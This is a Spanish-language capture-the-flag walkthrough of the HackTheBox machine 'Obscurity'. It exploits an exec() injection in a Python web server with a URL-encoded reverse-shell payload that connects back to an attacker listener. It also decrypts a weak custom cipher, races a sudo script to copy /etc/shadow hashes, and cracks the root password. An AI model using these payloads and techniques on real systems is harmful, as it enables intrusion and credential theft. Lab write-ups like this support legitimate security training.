Obscurity es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Obscurity 10.10.10.168 a /etc/hosts como obscurity.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 |
# Nmap 7.80 scan initiated Fri May 8 13:15:36 2020 as: nmap -Pn -p1-65535 -A -sV -oA obscurity-nmap 10.10.10.168 Nmap scan report for 10.10.10.168 Host is up (0.059s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA) | 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA) |_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519) 80/tcp closed http 8080/tcp open http-proxy BadHTTPServer | fingerprint-strings: | GetRequest, HTTPOptions: | HTTP/1.1 200 OK | Date: Fri, 08 May 2020 11:22:16 | Server: BadHTTPServer | Last-Modified: Fri, 08 May 2020 11:22:16 | Content-Length: 4171 | Content-Type: text/html | Connection: Closed | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>0bscura</title> | <meta http-equiv="X-UA-Compatible" content="IE=Edge"> | <meta name="viewport" content="width=device-width, initial-scale=1"> | <meta name="keywords" content=""> | <meta name="description" content=""> | <!-- | Easy Profile Template | http://www.templatemo.com/tm-467-easy-profile | <!-- stylesheet css --> | <link rel="stylesheet" href="css/bootstrap.min.css"> | <link rel="stylesheet" href="css/font-awesome.min.css"> | <link rel="stylesheet" href="css/templatemo-blue.css"> | </head> | <body data-spy="scroll" data-target=".navbar-collapse"> | <!-- preloader section --> | <!-- | <div class="preloader"> |_ <div class="sk-spinner sk-spinner-wordpress"> |_http-server-header: BadHTTPServer |_http-title: 0bscura 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8080-TCP:V=7.80%I=7%D=5/8%Time=5EB54016%P=x86_64-pc-linux-gnu%r(Get SF:Request,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Fri,\x2008\x20May\x20202 SF:0\x2011:22:16\nServer:\x20BadHTTPServer\nLast-Modified:\x20Fri,\x2008\x SF:20May\x202020\x2011:22:16\nContent-Length:\x204171\nContent-Type:\x20te SF:xt/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"e SF:n\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura</title>\n SF:\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\t<m SF:eta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-sc SF:ale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<meta\x20nam SF:e=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\x20Templa SF:te\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!--\x20sty SF:lesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/boot SF:strap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/font-aw SF:esome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/templat SF:emo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20data-target= SF:\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\n<!--\n<d SF:iv\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk-spinner- SF:wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20F SF:ri,\x2008\x20May\x202020\x2011:22:16\nServer:\x20BadHTTPServer\nLast-Mo SF:dified:\x20Fri,\x2008\x20May\x202020\x2011:22:16\nContent-Length:\x2041 SF:71\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20h SF:tml>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t< SF:title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20con SF:tent=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=devi SF:ce-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20conten SF:t=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nEa SF:sy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-easy-prof SF:ile\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"styleshe SF:et\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\ SF:"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\ SF:"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"s SF:croll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20s SF:ection\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"sk SF:-spinner\x20sk-spinner-wordpress\">\n"); Aggressive OS guesses: Linux 3.2 - 4.9 (94%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Linux 3.18 (92%), Linux 3.16 (91%), Oracle VM Server 3.4.2 (Linux 4.1) (91%), Crestron XPanel control system (91%), Android 4.1.1 (91%), Adtran 424RG FTTH gateway (90%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 61.46 ms 10.10.14.1 2 61.74 ms 10.10.10.168 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri May 8 13:18:56 2020 -- 1 IP address (1 host up) scanned in 199.66 seconds |
Observamos los puertos abiertos y encontramos una página web en el puerto 8080
Revisamos el portal y encontramos un texto que indica que existe un fichero .py en un directorio secreto.
Enumeración
Descubierto que existe un fichero llamado SuperSecureServer.py vamos a utilizar la herramienta wfuzz para intentar encontrar ese directorio secreto y obtenemos el mismo con el nombre develop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
# wfuzz --hc 400,404 -c -w /usr/share/wordlists/dirb/small.txt http://10.10.10.168:8080/FUZZ/SuperSecureServer.py Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.4.5 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.168:8080/FUZZ/SuperSecureServer.py Total requests: 959 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000273: 200 170 L 498 W 5892 Ch "develop" Total time: 19.76076 Processed Requests: 959 Filtered Requests: 958 Requests/sec.: 48.53050 |
Con el que obtenemos el código del script SuperSecureServer.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 |
import socket import threading from datetime import datetime import sys import os import mimetypes import urllib.parse import subprocess respTemplate = """HTTP/1.1 {statusNum} {statusCode} Date: {dateSent} Server: {server} Last-Modified: {modified} Content-Length: {length} Content-Type: {contentType} Connection: {connectionType} {body} """ DOC_ROOT = "DocRoot" CODES = {"200": "OK", "304": "NOT MODIFIED", "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", "500": "INTERNAL SERVER ERROR"} MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"} class Response: def __init__(self, **kwargs): self.__dict__.update(kwargs) now = datetime.now() self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S") def stringResponse(self): return respTemplate.format(**self.__dict__) class Request: def __init__(self, request): self.good = True try: request = self.parseRequest(request) self.method = request["method"] self.doc = request["doc"] self.vers = request["vers"] self.header = request["header"] self.body = request["body"] except: self.good = False def parseRequest(self, request): req = request.strip("\r").split("\n") method,doc,vers = req[0].split(" ") header = req[1:-3] body = req[-1] headerDict = {} for param in header: pos = param.find(": ") key, val = param[:pos], param[pos+2:] headerDict.update({key: val}) return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body} class Server: def __init__(self, host, port): self.host = host self.port = port self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.sock.bind((self.host, self.port)) def listen(self): self.sock.listen(5) while True: client, address = self.sock.accept() client.settimeout(60) threading.Thread(target = self.listenToClient,args = (client,address)).start() def listenToClient(self, client, address): size = 1024 while True: try: data = client.recv(size) if data: # Set the response to echo back the recieved data req = Request(data.decode()) self.handleRequest(req, client, address) client.shutdown() client.close() else: raise error('Client disconnected') except: client.close() return False def handleRequest(self, request, conn, address): if request.good: # try: # print(str(request.method) + " " + str(request.doc), end=' ') # print("from {0}".format(address[0])) # except Exception as e: # print(e) document = self.serveDoc(request.doc, DOC_ROOT) statusNum=document["status"] else: document = self.serveDoc("/errors/400.html", DOC_ROOT) statusNum="400" body = document["body"] statusCode=CODES[statusNum] dateSent = "" server = "BadHTTPServer" modified = "" length = len(body) contentType = document["mime"] # Try and identify MIME type from string connectionType = "Closed" resp = Response( statusNum=statusNum, statusCode=statusCode, dateSent = dateSent, server = server, modified = modified, length = length, contentType = contentType, connectionType = connectionType, body = body ) data = resp.stringResponse() if not data: return -1 conn.send(data.encode()) return 0 def serveDoc(self, path, docRoot): path = urllib.parse.unquote(path) try: info = "output = 'Document: {}'" # Keep the output for later debug exec(info.format(path)) # This is how you do string formatting, right? cwd = os.path.dirname(os.path.realpath(__file__)) docRoot = os.path.join(cwd, docRoot) if path == "/": path = "/index.html" requested = os.path.join(docRoot, path[1:]) if os.path.isfile(requested): mime = mimetypes.guess_type(requested) mime = (mime if mime[0] != None else "text/html") mime = MIMES[requested.split(".")[-1]] try: with open(requested, "r") as f: data = f.read() except: with open(requested, "rb") as f: data = f.read() status = "200" else: errorPage = os.path.join(docRoot, "errors", "404.html") mime = "text/html" with open(errorPage, "r") as f: data = f.read().format(path) status = "404" except Exception as e: print(e) errorPage = os.path.join(docRoot, "errors", "500.html") mime = "text/html" with open(errorPage, "r") as f: data = f.read() status = "500" return {"body": data, "mime": mime, "status": status} |
Analizamos el código y observamos una parte que podría ser vulnerable en el mismo:
1 2 |
info = "output = 'Document: {}'" # Keep the output for later debug exec(info.format(path)) # This is how you do string formatting, right? |
Por lo que podríamos inyectar nuestro código para intentar obtener una shell:
1 2 3 |
info = "output = 'Document: {}' <maliciouscode> " |
Creamos entonces una reverse shell en python que podemos obtener desde la entrada Cheatsheet – Reverse shell disponible en este mismo blog con el siguiente código:
1 |
10.10.10.168:8080/';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.x.x",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash");' |
Utilizamos un codificador de url y lo enviamos como petición al servidor para obtener nuestra shell con el usuario www-data
1 2 3 4 5 6 7 8 |
# nc -lvp 4444 listening on [any] 4444 ... 10.10.10.168: inverse host lookup failed: Unknown host connect to [10.10.x.x] from (UNKNOWN) [10.10.10.168] 51970 www-data@obscure:/$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@obscure:/$ |
Y accedemos a la home del usuario robert
1 2 3 4 5 6 7 8 9 10 |
www-data@obscure:/home/robert$ ls -l ls -l total 24 drwxr-xr-x 2 root root 4096 Dec 2 09:47 BetterSSH -rw-rw-r-- 1 robert robert 94 Sep 26 2019 check.txt -rw-rw-r-- 1 robert robert 185 Oct 4 2019 out.txt -rw-rw-r-- 1 robert robert 27 Oct 4 2019 passwordreminder.txt -rwxrwxr-x 1 robert robert 2514 Oct 4 2019 SuperSecureCrypt.py -rwx------ 1 robert robert 33 Sep 25 2019 user.txt www-data@obscure:/home/robert$ |
En la home de dicho usuario encontramos varios ficheros interesantes, por una parte el fichero check.txt
1 2 3 4 |
www-data@obscure:/home/robert$ cat check.txt cat check.txt Encrypting this file with your key should result in out.txt, make sure your key is correct! www-data@obscure:/home/robert$ |
Donde nos indica que utilizando dicho fichero con la clave correspondiente el resultado se almacenará en el fichero out.txt
Observamos también el script para realizar dicho cifrado llamado SuperSecureCrypt.py y cuyo código es
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 |
import sys import argparse def encrypt(text, key): keylen = len(key) keyPos = 0 encrypted = "" for x in text: keyChr = key[keyPos] newChr = ord(x) newChr = chr((newChr + ord(keyChr)) % 255) encrypted += newChr keyPos += 1 keyPos = keyPos % keylen return encrypted def decrypt(text, key): keylen = len(key) keyPos = 0 decrypted = "" for x in text: keyChr = key[keyPos] newChr = ord(x) newChr = chr((newChr - ord(keyChr)) % 255) decrypted += newChr keyPos += 1 keyPos = keyPos % keylen return decrypted parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm') parser.add_argument('-i', metavar='InFile', type=str, help='The file to read', required=False) parser.add_argument('-o', metavar='OutFile', type=str, help='Where to output the encrypted/decrypted file', required=False) parser.add_argument('-k', metavar='Key', type=str, help='Key to use', required=False) parser.add_argument('-d', action='store_true', help='Decrypt mode') args = parser.parse_args() banner = "################################\n" banner+= "# BEGINNING #\n" banner+= "# SUPER SECURE ENCRYPTOR #\n" banner+= "################################\n" banner += " ############################\n" banner += " # FILE MODE #\n" banner += " ############################" print(banner) if args.o == None or args.k == None or args.i == None: print("Missing args") else: if args.d: print("Opening file {0}...".format(args.i)) with open(args.i, 'r', encoding='UTF-8') as f: data = f.read() print("Decrypting...") decrypted = decrypt(data, args.k) print("Writing to {0}...".format(args.o)) with open(args.o, 'w', encoding='UTF-8') as f: f.write(decrypted) else: print("Opening file {0}...".format(args.i)) with open(args.i, 'r', encoding='UTF-8') as f: data = f.read() print("Encrypting...") encrypted = encrypt(data, args.k) print("Writing to {0}...".format(args.o)) with open(args.o, 'w', encoding='UTF-8') as f: f.write(encrypted) |
Observamos dos funciones importantes, encrypt y decrypt y vemos que el fichero out.txt está cifrado por lo que necesitaremos descifrar el mismo para obtener su contenido.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
www-data@obscure:/home/robert$ python3 SuperSecureCrypt.py -i out.txt -o /tmp/key.txt -k "Encrypting this file with your key should result in out.txt, make sure your key is correct!" -d ################################ # BEGINNING # # SUPER SECURE ENCRYPTOR # ################################ ############################ # FILE MODE # ############################ Opening file out.txt... Decrypting... Writing to /tmp/key.txt... www-data@obscure:/home/robert$ cat /tmp/key.txt cat /tmp/key.txt alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich |
Ahora descifraremos el fichero passwordreminder.txt para obtener la pass del usuario robert con la key obtenida en el anterior paso
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
www-data@obscure:/home/robert$ python3 SuperSecureCrypt.py -i passwordreminder.txt -o /tmp/passwd.txt -k "alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich" -d ################################ # BEGINNING # # SUPER SECURE ENCRYPTOR # ################################ ############################ # FILE MODE # ############################ Opening file passwordreminder.txt... Decrypting... Writing to /tmp/passwd.txt... www-data@obscure:/home/robert$ cat /tmp/passwd.txt cat /tmp/passwd.txt SecThruObsFTW |
Y tenemos la clave de acceso del usuario robert
Obteniendo la flag de user
Con la clave obtenida del usuario, lo que nos queda ahora es acceder por ssh con dicho usuario:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
# ssh robert@10.10.10.168 robert@10.10.10.168's password: Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri May 8 12:21:44 UTC 2020 System load: 0.0 Processes: 135 Usage of /: 45.8% of 9.78GB Users logged in: 1 Memory usage: 10% IP address for ens160: 10.10.10.168 Swap usage: 0% 40 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Fri May 8 12:21:39 2020 from 10.10.14.141 robert@obscure:~$ ls -l total 24 drwxr-xr-x 2 root root 4096 Dec 2 09:47 BetterSSH -rw-rw-r-- 1 robert robert 94 Sep 26 2019 check.txt -rw-rw-r-- 1 robert robert 185 Oct 4 2019 out.txt -rw-rw-r-- 1 robert robert 27 Oct 4 2019 passwordreminder.txt -rwxrwxr-x 1 robert robert 2514 Oct 4 2019 SuperSecureCrypt.py -rwx------ 1 robert robert 33 Sep 25 2019 user.txt robert@obscure:~$ |
Y con ello conseguimos la flag de user en el fichero user.txt
Escalado de privilegios
Ahora que hemos conseguido acceso con el usuario robert, procedemos a revisar los permisos del mismo:
1 2 3 4 5 6 7 |
robert@obscure:~/BetterSSH$ sudo -l Matching Defaults entries for robert on obscure: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User robert may run the following commands on obscure: (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py |
Y vemos que tiene permisos de sudo para ejecutar el script /home/robert/BetterSSH/BetterSSH.py cuyo contenido es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
import sys import random, string import os import time import crypt import traceback import subprocess path = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) session = {"user": "", "authenticated": 0} try: session['user'] = input("Enter username: ") passW = input("Enter password: ") with open('/etc/shadow', 'r') as f: data = f.readlines() data = [(p.split(":") if "$" in p else None) for p in data] passwords = [] for x in data: if not x == None: passwords.append(x) passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) with open('/tmp/SSH/'+path, 'w') as f: f.write(passwordFile) time.sleep(.1) salt = "" realPass = "" for p in passwords: if p[0] == session['user']: salt, realPass = p[1].split('$')[2:] break if salt == "": print("Invalid user") os.remove('/tmp/SSH/'+path) sys.exit(0) salt = '$6$'+salt+'$' realPass = salt + realPass hash = crypt.crypt(passW, salt) if hash == realPass: print("Authed!") session['authenticated'] = 1 else: print("Incorrect pass") os.remove('/tmp/SSH/'+path) sys.exit(0) os.remove(os.path.join('/tmp/SSH/',path)) except Exception as e: traceback.print_exc() sys.exit(0) if session['authenticated'] == 1: while True: command = input(session['user'] + "@Obscure$ ") cmd = ['sudo', '-u', session['user']] cmd.extend(command.split(" ")) proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) o,e = proc.communicate() print('Output: ' + o.decode('ascii')) print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('') |
Revisamos el script y obtenemos que al acceder con un usuario a través del mismo, hace una copia del fichero /etc/shadow en un fichero aleatorio en /tmp/SSH
1 2 3 4 |
passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) with open('/tmp/SSH/'+path, 'w') as f: f.write(passwordFile) time.sleep(.1) |
Aunque vemos que el mismo se borra un segundo después. Para solucionar esto, utilizaremos watch que nos copiará todo el contenido de la carpeta /tmp/SSH en la ruta que le indiquemos cada segundo.
Lanzaremos entonces el siguiente comando:
1 |
watch -n .1 cp /tmp/SSH/* /tmp/example |
Y posteriormente ejecutaremos el script:
1 2 3 4 5 6 |
robert@obscure:~/BetterSSH$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py Enter username: robert Enter password: SecThruObsFTW Authed! robert@Obscure$ ls /tmp/example Output: 0zenQYfS |
Ahora accedemos a dicho directorio y comprobamos el contenido del fichero generado:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
robert@obscure:/tmp/example$ cat 0zenQYfS root $6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1 18226 0 99999 7 robert $6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/ 18163 0 99999 7 |
Y tenemos el hash de la clave de root.
Utilizaremos John The Ripper para descifrar la misma y conseguir la pass de root en plano.
1 2 3 4 |
# john --show roothash.txt root:mercedes:0:0:root:/root:/bin/bash 1 password hash cracked, 0 left |
Y conseguimos la pass de root que es mercedes.
Obteniendo la flag de root
Ahora que tenemos la pass de root, sólo nos queda loguearnos para conseguir la flag.
1 2 3 4 5 6 |
robert@obscure:~$ su root Password: root@obscure:/home/robert# cd /root root@obscure:~# ls -l total 4 -rw-r--r-- 1 root root 33 Sep 25 2019 root.txt |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.